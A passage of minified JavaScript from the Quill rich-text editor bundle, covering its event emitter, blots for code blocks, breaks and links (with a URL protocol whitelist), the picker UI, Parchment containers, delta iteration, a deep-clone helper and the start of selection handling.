0,[t].concat(n))})}},{key:"listenDOM",value:function(t,e,n){this.listeners[t]||(this.listeners[t]=[]),this.listeners[t].push({node:e,handler:n})}}]),e}(c.default);d.events={EDITOR_CHANGE:"editor-change",SCROLL_BEFORE_UPDATE:"scroll-before-update",SCROLL_OPTIMIZE:"scroll-optimize",SCROLL_UPDATE:"scroll-update",SELECTION_CHANGE:"selection-change",TEXT_CHANGE:"text-change"},d.sources={API:"api",SILENT:"silent",USER:"user"},e.default=d},function(t,e,n){"use strict";function r(t){if(i.indexOf(t)<=i.indexOf(l)){for(var e,n=arguments.length,r=Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];(e=console)[t].apply(e,r)}}function o(t){return i.reduce(function(e,n){return e[n]=r.bind(console,n,t),e},{})}Object.defineProperty(e,"__esModule",{value:!0});var i=["error","warn","log","info"],l="warn";r.level=o.level=function(t){l=t},e.default=o},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(1),o=function(){function t(t,e,n){void 0===n&&(n={}),this.attrName=t,this.keyName=e;var o=r.Scope.TYPE&r.Scope.ATTRIBUTE;null!=n.scope?this.scope=n.scope&r.Scope.LEVEL|o:this.scope=r.Scope.ATTRIBUTE,null!=n.whitelist&&(this.whitelist=n.whitelist)}return t.keys=function(t){return[].map.call(t.attributes,function(t){return t.name})},t.prototype.add=function(t,e){return!!this.canAdd(t,e)&&(t.setAttribute(this.keyName,e),!0)},t.prototype.canAdd=function(t,e){return null!=r.query(t,r.Scope.BLOT&(this.scope|r.Scope.TYPE))&&(null==this.whitelist||("string"==typeof e?this.whitelist.indexOf(e.replace(/["']/g,""))>-1:this.whitelist.indexOf(e)>-1))},t.prototype.remove=function(t){t.removeAttribute(this.keyName)},t.prototype.value=function(t){var e=t.getAttribute(this.keyName);return this.canAdd(t,e)&&e?e:""},t}();e.default=o},function(t,e,n){function r(t){return null===t||void 0===t}function o(t){return!(!t||"object"!=typeof t||"number"!=typeof t.length)&&("function"==typeof t.copy&&"function"==typeof t.slice&&!(t.length>0&&"number"!=typeof t[0]))}function i(t,e,n){var i,c;if(r(t)||r(e))return!1;if(t.prototype!==e.prototype)return!1;if(s(t))return!!s(e)&&(t=l.call(t),e=l.call(e),u(t,e,n));if(o(t)){if(!o(e))return!1;if(t.length!==e.length)return!1;for(i=0;i<t.length;i++)if(t[i]!==e[i])return!1;return!0}try{var f=a(t),h=a(e)}catch(t){return!1}if(f.length!=h.length)return!1;for(f.sort(),h.sort(),i=f.length-1;i>=0;i--)if(f[i]!=h[i])return!1;for(i=f.length-1;i>=0;i--)if(c=f[i],!u(t[c],e[c],n))return!1;return typeof t==typeof e}var l=Array.prototype.slice,a=n(55),s=n(56),u=t.exports=function(t,e,n){return n||(n={}),t===e||(t instanceof Date&&e instanceof Date?t.getTime()===e.getTime():!t||!e||"object"!=typeof t&&"object"!=typeof e?n.strict?t===e:t==e:i(t,e,n))}},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.Code=void 0;var a=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),s=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),u=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},c=n(4),f=r(c),h=n(0),p=r(h),d=n(3),y=r(d),v=n(5),b=r(v),g=n(8),m=r(g),_=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),e}(b.default);_.blotName="code",_.tagName="CODE";var O=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),s(e,[{key:"delta",value:function(){var t=this,e=this.domNode.textContent;return e.endsWith("\n")&&(e=e.slice(0,-1)),e.split("\n").reduce(function(e,n){return e.insert(n).insert("\n",t.formats())},new f.default)}},{key:"format",value:function(t,n){if(t!==this.statics.blotName||!n){var r=this.descendant(m.default,this.length()-1),o=a(r,1),i=o[0];null!=i&&i.deleteAt(i.length()-1,1),u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"format",this).call(this,t,n)}}},{key:"formatAt",value:function(t,n,r,o){if(0!==n&&null!=p.default.query(r,p.default.Scope.BLOCK)&&(r!==this.statics.blotName||o!==this.statics.formats(this.domNode))){var i=this.newlineIndex(t);if(!(i<0||i>=t+n)){var l=this.newlineIndex(t,!0)+1,a=i-l+1,s=this.isolate(l,a),u=s.next;s.format(r,o),u instanceof e&&u.formatAt(0,t-l+n-a,r,o)}}}},{key:"insertAt",value:function(t,e,n){if(null==n){var r=this.descendant(m.default,t),o=a(r,2),i=o[0],l=o[1];i.insertAt(l,e)}}},{key:"length",value:function(){var t=this.domNode.textContent.length;return this.domNode.textContent.endsWith("\n")?t:t+1}},{key:"newlineIndex",value:function(t){if(arguments.length>1&&void 0!==arguments[1]&&arguments[1])return this.domNode.textContent.slice(0,t).lastIndexOf("\n");var e=this.domNode.textContent.slice(t).indexOf("\n");return e>-1?t+e:-1}},{key:"optimize",value:function(t){this.domNode.textContent.endsWith("\n")||this.appendChild(p.default.create("text","\n")),u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"optimize",this).call(this,t);var n=this.next;null!=n&&n.prev===this&&n.statics.blotName===this.statics.blotName&&this.statics.formats(this.domNode)===n.statics.formats(n.domNode)&&(n.optimize(t),n.moveChildren(this),n.remove())}},{key:"replace",value:function(t){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"replace",this).call(this,t),[].slice.call(this.domNode.querySelectorAll("*")).forEach(function(t){var e=p.default.find(t);null==e?t.parentNode.removeChild(t):e instanceof p.default.Embed?e.remove():e.unwrap()})}}],[{key:"create",value:function(t){var n=u(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,t);return n.setAttribute("spellcheck",!1),n}},{key:"formats",value:function(){return!0}}]),e}(y.default);O.blotName="code-block",O.tagName="PRE",O.TAB="  ",e.Code=_,e.default=O},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(0),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"insertInto",value:function(t,n){0===t.children.length?a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertInto",this).call(this,t,n):this.remove()}},{key:"length",value:function(){return 0}},{key:"value",value:function(){return""}}],[{key:"value",value:function(){}}]),e}(u.default.Embed);c.blotName="break",c.tagName="BR",e.default=c},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function l(t,e){var n=document.createElement("a");n.href=t;var r=n.href.slice(0,n.href.indexOf(":"));return e.indexOf(r)>-1}Object.defineProperty(e,"__esModule",{value:!0}),e.sanitize=e.default=void 0;var a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=n(5),c=function(t){return t&&t.__esModule?t:{default:t}}(u),f=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),a(e,[{key:"format",value:function(t,n){if(t!==this.statics.blotName||!n)return s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"format",this).call(this,t,n);n=this.constructor.sanitize(n),this.domNode.setAttribute("href",n)}}],[{key:"create",value:function(t){var n=s(e.__proto__||Object.getPrototypeOf(e),"create",this).call(this,t);return t=this.sanitize(t),n.setAttribute("href",t),n.setAttribute("target","_blank"),n}},{key:"formats",value:function(t){return t.getAttribute("href")}},{key:"sanitize",value:function(t){return l(t,this.PROTOCOL_WHITELIST)?t:this.SANITIZED_URL}}]),e}(c.default);f.blotName="link",f.tagName="A",f.SANITIZED_URL="about:blank",f.PROTOCOL_WHITELIST=["http","https","mailto","tel"],e.default=f,e.sanitize=l},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){t.setAttribute(e,!("true"===t.getAttribute(e)))}Object.defineProperty(e,"__esModule",{value:!0});var l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=n(25),u=r(s),c=n(106),f=r(c),h=0,p=function(){function t(e){var n=this;o(this,t),this.select=e,this.container=document.createElement("span"),this.buildPicker(),this.select.style.display="none",this.select.parentNode.insertBefore(this.container,this.select),this.label.addEventListener("mousedown",function(){n.togglePicker()}),this.label.addEventListener("keydown",function(t){switch(t.keyCode){case u.default.keys.ENTER:n.togglePicker();break;case u.default.keys.ESCAPE:n.escape(),t.preventDefault()}}),this.select.addEventListener("change",this.update.bind(this))}return a(t,[{key:"togglePicker",value:function(){this.container.classList.toggle("ql-expanded"),i(this.label,"aria-expanded"),i(this.options,"aria-hidden")}},{key:"buildItem",value:function(t){var e=this,n=document.createElement("span");return n.tabIndex="0",n.setAttribute("role","button"),n.classList.add("ql-picker-item"),t.hasAttribute("value")&&n.setAttribute("data-value",t.getAttribute("value")),t.textContent&&n.setAttribute("data-label",t.textContent),n.addEventListener("click",function(){e.selectItem(n,!0)}),n.addEventListener("keydown",function(t){switch(t.keyCode){case u.default.keys.ENTER:e.selectItem(n,!0),t.preventDefault();break;case u.default.keys.ESCAPE:e.escape(),t.preventDefault()}}),n}},{key:"buildLabel",value:function(){var t=document.createElement("span");return t.classList.add("ql-picker-label"),t.innerHTML=f.default,t.tabIndex="0",t.setAttribute("role","button"),t.setAttribute("aria-expanded","false"),this.container.appendChild(t),t}},{key:"buildOptions",value:function(){var t=this,e=document.createElement("span");e.classList.add("ql-picker-options"),e.setAttribute("aria-hidden","true"),e.tabIndex="-1",e.id="ql-picker-options-"+h,h+=1,this.label.setAttribute("aria-controls",e.id),this.options=e,[].slice.call(this.select.options).forEach(function(n){var r=t.buildItem(n);e.appendChild(r),!0===n.selected&&t.selectItem(r)}),this.container.appendChild(e)}},{key:"buildPicker",value:function(){var t=this;[].slice.call(this.select.attributes).forEach(function(e){t.container.setAttribute(e.name,e.value)}),this.container.classList.add("ql-picker"),this.label=this.buildLabel(),this.buildOptions()}},{key:"escape",value:function(){var t=this;this.close(),setTimeout(function(){return t.label.focus()},1)}},{key:"close",value:function(){this.container.classList.remove("ql-expanded"),this.label.setAttribute("aria-expanded","false"),this.options.setAttribute("aria-hidden","true")}},{key:"selectItem",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=this.container.querySelector(".ql-selected");if(t!==n&&(null!=n&&n.classList.remove("ql-selected"),null!=t&&(t.classList.add("ql-selected"),this.select.selectedIndex=[].indexOf.call(t.parentNode.children,t),t.hasAttribute("data-value")?this.label.setAttribute("data-value",t.getAttribute("data-value")):this.label.removeAttribute("data-value"),t.hasAttribute("data-label")?this.label.setAttribute("data-label",t.getAttribute("data-label")):this.label.removeAttribute("data-label"),e))){if("function"==typeof Event)this.select.dispatchEvent(new Event("change"));else if("object"===("undefined"==typeof Event?"undefined":l(Event))){var r=document.createEvent("Event");r.initEvent("change",!0,!0),this.select.dispatchEvent(r)}this.close()}}},{key:"update",value:function(){var t=void 0;if(this.select.selectedIndex>-1){var e=this.container.querySelector(".ql-picker-options").children[this.select.selectedIndex];t=this.select.options[this.select.selectedIndex],this.selectItem(e)}else this.selectItem(null);var n=null!=t&&t!==this.select.querySelector("option[selected]");this.label.classList.toggle("ql-active",n)}}]),t}();e.default=p},function(t,e,n){"use strict";function r(t){var e=a.find(t);if(null==e)try{e=a.create(t)}catch(n){e=a.create(a.Scope.INLINE),[].slice.call(t.childNodes).forEach(function(t){e.domNode.appendChild(t)}),t.parentNode&&t.parentNode.replaceChild(e.domNode,t),e.attach()}return e}var o=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=n(47),l=n(27),a=n(1),s=function(t){function e(e){var n=t.call(this,e)||this;return n.build(),n}return o(e,t),e.prototype.appendChild=function(t){this.insertBefore(t)},e.prototype.attach=function(){t.prototype.attach.call(this),this.children.forEach(function(t){t.attach()})},e.prototype.build=function(){var t=this;this.children=new i.default,[].slice.call(this.domNode.childNodes).reverse().forEach(function(e){try{var n=r(e);t.insertBefore(n,t.children.head||void 0)}catch(t){if(t instanceof a.ParchmentError)return;throw t}})},e.prototype.deleteAt=function(t,e){if(0===t&&e===this.length())return this.remove();this.children.forEachAt(t,e,function(t,e,n){t.deleteAt(e,n)})},e.prototype.descendant=function(t,n){var r=this.children.find(n),o=r[0],i=r[1];return null==t.blotName&&t(o)||null!=t.blotName&&o instanceof t?[o,i]:o instanceof e?o.descendant(t,i):[null,-1]},e.prototype.descendants=function(t,n,r){void 0===n&&(n=0),void 0===r&&(r=Number.MAX_VALUE);var o=[],i=r;return this.children.forEachAt(n,r,function(n,r,l){(null==t.blotName&&t(n)||null!=t.blotName&&n instanceof t)&&o.push(n),n instanceof e&&(o=o.concat(n.descendants(t,r,i))),i-=l}),o},e.prototype.detach=function(){this.children.forEach(function(t){t.detach()}),t.prototype.detach.call(this)},e.prototype.formatAt=function(t,e,n,r){this.children.forEachAt(t,e,function(t,e,o){t.formatAt(e,o,n,r)})},e.prototype.insertAt=function(t,e,n){var r=this.children.find(t),o=r[0],i=r[1];if(o)o.insertAt(i,e,n);else{var l=null==n?a.create("text",e):a.create(e,n);this.appendChild(l)}},e.prototype.insertBefore=function(t,e){if(null!=this.statics.allowedChildren&&!this.statics.allowedChildren.some(function(e){return t instanceof e}))throw new a.ParchmentError("Cannot insert "+t.statics.blotName+" into "+this.statics.blotName);t.insertInto(this,e)},e.prototype.length=function(){return this.children.reduce(function(t,e){return t+e.length()},0)},e.prototype.moveChildren=function(t,e){this.children.forEach(function(n){t.insertBefore(n,e)})},e.prototype.optimize=function(e){if(t.prototype.optimize.call(this,e),0===this.children.length)if(null!=this.statics.defaultChild){var n=a.create(this.statics.defaultChild);this.appendChild(n),n.optimize(e)}else this.remove()},e.prototype.path=function(t,n){void 0===n&&(n=!1);var r=this.children.find(t,n),o=r[0],i=r[1],l=[[this,t]];return o instanceof e?l.concat(o.path(i,n)):(null!=o&&l.push([o,i]),l)},e.prototype.removeChild=function(t){this.children.remove(t)},e.prototype.replace=function(n){n instanceof e&&n.moveChildren(this),t.prototype.replace.call(this,n)},e.prototype.split=function(t,e){if(void 0===e&&(e=!1),!e){if(0===t)return this;if(t===this.length())return this.next}var n=this.clone();return this.parent.insertBefore(n,this.next),this.children.forEachAt(t,this.length(),function(t,r,o){t=t.split(r,e),n.appendChild(t)}),n},e.prototype.unwrap=function(){this.moveChildren(this.parent,this.next),this.remove()},e.prototype.update=function(t,e){var n=this,o=[],i=[];t.forEach(function(t){t.target===n.domNode&&"childList"===t.type&&(o.push.apply(o,t.addedNodes),i.push.apply(i,t.removedNodes))}),i.forEach(function(t){if(!(null!=t.parentNode&&"IFRAME"!==t.tagName&&document.body.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_CONTAINED_BY)){var e=a.find(t);null!=e&&(null!=e.domNode.parentNode&&e.domNode.parentNode!==n.domNode||e.detach())}}),o.filter(function(t){return t.parentNode==n.domNode}).sort(function(t,e){return t===e?0:t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_FOLLOWING?1:-1}).forEach(function(t){var e=null;null!=t.nextSibling&&(e=a.find(t.nextSibling));var o=r(t);o.next==e&&null!=o.next||(null!=o.parent&&o.parent.removeChild(n),n.insertBefore(o,e||void 0))})},e}(l.default);e.default=s},function(t,e,n){"use strict";var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var o=n(11),i=n(28),l=n(17),a=n(1),s=function(t){function e(e){var n=t.call(this,e)||this;return n.attributes=new i.default(n.domNode),n}return r(e,t),e.formats=function(t){return"string"==typeof this.tagName||(Array.isArray(this.tagName)?t.tagName.toLowerCase():void 0)},e.prototype.format=function(t,e){var n=a.query(t);n instanceof o.default?this.attributes.attribute(n,e):e&&(null==n||t===this.statics.blotName&&this.formats()[t]===e||this.replaceWith(t,e))},e.prototype.formats=function(){var t=this.attributes.values(),e=this.statics.formats(this.domNode);return null!=e&&(t[this.statics.blotName]=e),t},e.prototype.replaceWith=function(e,n){var r=t.prototype.replaceWith.call(this,e,n);return this.attributes.copy(r),r},e.prototype.update=function(e,n){var r=this;t.prototype.update.call(this,e,n),e.some(function(t){return t.target===r.domNode&&"attributes"===t.type})&&this.attributes.build()},e.prototype.wrap=function(n,r){var o=t.prototype.wrap.call(this,n,r);return o instanceof e&&o.statics.scope===this.statics.scope&&this.attributes.move(o),o},e}(l.default);e.default=s},function(t,e,n){"use strict";var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var o=n(27),i=n(1),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r(e,t),e.value=function(t){return!0},e.prototype.index=function(t,e){return this.domNode===t||this.domNode.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_CONTAINED_BY?Math.min(e,1):-1},e.prototype.position=function(t,e){var n=[].indexOf.call(this.parent.domNode.childNodes,this.domNode);return t>0&&(n+=1),[this.parent.domNode,n]},e.prototype.value=function(){return t={},t[this.statics.blotName]=this.statics.value(this.domNode)||!0,t;var t},e.scope=i.Scope.INLINE_BLOT,e}(o.default);e.default=l},function(t,e,n){function r(t){this.ops=t,this.index=0,this.offset=0}var o=n(12),i=n(2),l={attributes:{compose:function(t,e,n){"object"!=typeof t&&(t={}),"object"!=typeof e&&(e={});var r=i(!0,{},e);n||(r=Object.keys(r).reduce(function(t,e){return null!=r[e]&&(t[e]=r[e]),t},{}));for(var o in t)void 0!==t[o]&&void 0===e[o]&&(r[o]=t[o]);return Object.keys(r).length>0?r:void 0},diff:function(t,e){"object"!=typeof t&&(t={}),"object"!=typeof e&&(e={});var n=Object.keys(t).concat(Object.keys(e)).reduce(function(n,r){return o(t[r],e[r])||(n[r]=void 0===e[r]?null:e[r]),n},{});return Object.keys(n).length>0?n:void 0},transform:function(t,e,n){if("object"!=typeof t)return e;if("object"==typeof e){if(!n)return e;var r=Object.keys(e).reduce(function(n,r){return void 0===t[r]&&(n[r]=e[r]),n},{});return Object.keys(r).length>0?r:void 0}}},iterator:function(t){return new r(t)},length:function(t){return"number"==typeof t.delete?t.delete:"number"==typeof t.retain?t.retain:"string"==typeof t.insert?t.insert.length:1}};r.prototype.hasNext=function(){return this.peekLength()<1/0},r.prototype.next=function(t){t||(t=1/0);var e=this.ops[this.index];if(e){var n=this.offset,r=l.length(e);if(t>=r-n?(t=r-n,this.index+=1,this.offset=0):this.offset+=t,"number"==typeof e.delete)return{delete:t};var o={};return e.attributes&&(o.attributes=e.attributes),"number"==typeof e.retain?o.retain=t:"string"==typeof e.insert?o.insert=e.insert.substr(n,t):o.insert=e.insert,o}return{retain:1/0}},r.prototype.peek=function(){return this.ops[this.index]},r.prototype.peekLength=function(){return this.ops[this.index]?l.length(this.ops[this.index])-this.offset:1/0},r.prototype.peekType=function(){return this.ops[this.index]?"number"==typeof this.ops[this.index].delete?"delete":"number"==typeof this.ops[this.index].retain?"retain":"insert":"retain"},t.exports=l},function(t,e){var n=function(){"use strict";function t(t,e){return null!=e&&t instanceof e}function e(n,r,o,i,c){function f(n,o){if(null===n)return null;if(0===o)return n;var y,v;if("object"!=typeof n)return n;if(t(n,a))y=new a;else if(t(n,s))y=new s;else if(t(n,u))y=new u(function(t,e){n.then(function(e){t(f(e,o-1))},function(t){e(f(t,o-1))})});else if(e.__isArray(n))y=[];else if(e.__isRegExp(n))y=new RegExp(n.source,l(n)),n.lastIndex&&(y.lastIndex=n.lastIndex);else if(e.__isDate(n))y=new Date(n.getTime());else{if(d&&Buffer.isBuffer(n))return y=new Buffer(n.length),n.copy(y),y;t(n,Error)?y=Object.create(n):void 0===i?(v=Object.getPrototypeOf(n),y=Object.create(v)):(y=Object.create(i),v=i)}if(r){var b=h.indexOf(n);if(-1!=b)return p[b];h.push(n),p.push(y)}t(n,a)&&n.forEach(function(t,e){var n=f(e,o-1),r=f(t,o-1);y.set(n,r)}),t(n,s)&&n.forEach(function(t){var e=f(t,o-1);y.add(e)});for(var g in n){var m;v&&(m=Object.getOwnPropertyDescriptor(v,g)),m&&null==m.set||(y[g]=f(n[g],o-1))}if(Object.getOwnPropertySymbols)for(var _=Object.getOwnPropertySymbols(n),g=0;g<_.length;g++){var O=_[g],w=Object.getOwnPropertyDescriptor(n,O);(!w||w.enumerable||c)&&(y[O]=f(n[O],o-1),w.enumerable||Object.defineProperty(y,O,{enumerable:!1}))}if(c)for(var x=Object.getOwnPropertyNames(n),g=0;g<x.length;g++){var k=x[g],w=Object.getOwnPropertyDescriptor(n,k);w&&w.enumerable||(y[k]=f(n[k],o-1),Object.defineProperty(y,k,{enumerable:!1}))}return y}"object"==typeof r&&(o=r.depth,i=r.prototype,c=r.includeNonEnumerable,r=r.circular);var h=[],p=[],d="undefined"!=typeof Buffer;return void 0===r&&(r=!0),void 0===o&&(o=1/0),f(n,o)}function n(t){return Object.prototype.toString.call(t)}function r(t){return"object"==typeof t&&"[object Date]"===n(t)}function o(t){return"object"==typeof t&&"[object Array]"===n(t)}function i(t){return"object"==typeof t&&"[object RegExp]"===n(t)}function l(t){var e="";return t.global&&(e+="g"),t.ignoreCase&&(e+="i"),t.multiline&&(e+="m"),e}var a;try{a=Map}catch(t){a=function(){}}var s;try{s=Set}catch(t){s=function(){}}var u;try{u=Promise}catch(t){u=function(){}}return e.clonePrototype=function(t){if(null===t)return null;var e=function(){};return e.prototype=t,new e},e.__objToStr=n,e.__isDate=r,e.__isArray=o,e.__isRegExp=i,e.__getRegExpFlags=l,e}();"object"==typeof t&&t.exports&&(t.exports=n)},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t){if(Array.isArray(t)){for(var e=0,n=Array(t.length);e<t.length;e++)n[e]=t[e];return n}return Array.from(t)}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){try{e.parentNode}catch(t){return!1}return e instanceof Text&&(e=e.parentNode),t.contains(e)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.Range=void 0;var a=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),s=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),u=n(0),c=r(u),f=n(21),h=r(f),p=n(12),d=r(p),y=n(9),v=r(y),b=n(10),g=r(b),m=(0,g.default)("quill:selection"),_=function t(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;i(this,t),this.index=e,this.length=n},O=function(){function t(e,n){var r=this;i(this,t),this.emitter=n,this.scroll=e,this.composing=!1,this.mouseDown=!1,this.root=this.scroll.domNode,this.cursor=c.default.create("cursor",this),this.lastRange=this.savedRange=new _(0,0),this.handleComposition(),this.handleDragging(),this.emitter.listenDOM("selectionchange",document,function(){r.mouseDown||setTimeout(r.update.bind(r,v.default.sources.USER),1)}),this.emitter.on(v.default.events.EDITOR_CHANGE,function(t,e){t===v.default.events.TEXT_CHANGE&&e.length()>0&&r.update(v.default.sources.SILENT)}),this.emitter.on(v.default.events.SCROLL_BEFORE_UPDATE,function(){if(r.hasFocus()){var t=r.getNativeRange();null!=t&&t.start.node!==r.cursor.textNode&&r.emitter.once(v.default.events.SCROLL_UPDATE,function(){try{r.setNativeRange(t.start.node,t.start.offset,t.end.node,t.end.offset)}catch(t){}})}}),this.emitter.on(v.default.events.SCROLL_OPTIMIZE,function(t,e){if(e.range){var n=e.range,o=n.startNode,i=n.startOffset,l=n.endNode,a=n.endOffset;r.setNativeRange(o,i,l,a)}}),this.update(v.default.sources.SILENT)}return s(t,[{key:"handleComposition",value:function(){var t=this;this.root.addEventListener("compositionstart",function(){t.composing=!0}),this.root.addEventListener("compositionend",function(){if(t.composing=!1,t.cursor.parent){var e=t.cursor.restore();if(!e)return;setTimeout(function(){t.setNativeRange(e.startNode,e.startOffset,e.endNode,e.endOffset)},1)}})}},{key:"handleDragging",value:function(){var t=this;this.emitter.listenDOM("mousedown",document.body,function(){t.mouseDown=!0}),this.emitter.listenDOM("mouseup",document.body,function(){t.mouseDown=!1,t.update(v.default.sources.USER)})}},{key:"focus",value:function(){this.hasFocus()||(this.root.focus(),this.setRange(this.savedRange))}},{key:"format",value:function(t,e){if(null==this.scroll.whitelist||this.scroll.whitelist[t]){this.scroll.update();var n=this.getNativeRange();if(null!=n&&n.native.collapsed&&!c.default.query(t,c.default.Scope.BLOCK)){if(n.start.node!==this.cursor.textNode){var r=c.default.find(n.start.node,!1);if(null==r)return;if(r instanceof c.default.Leaf){var o=r.split(n.start.offset);r.parent.insertBefore(this.cursor,o)}else 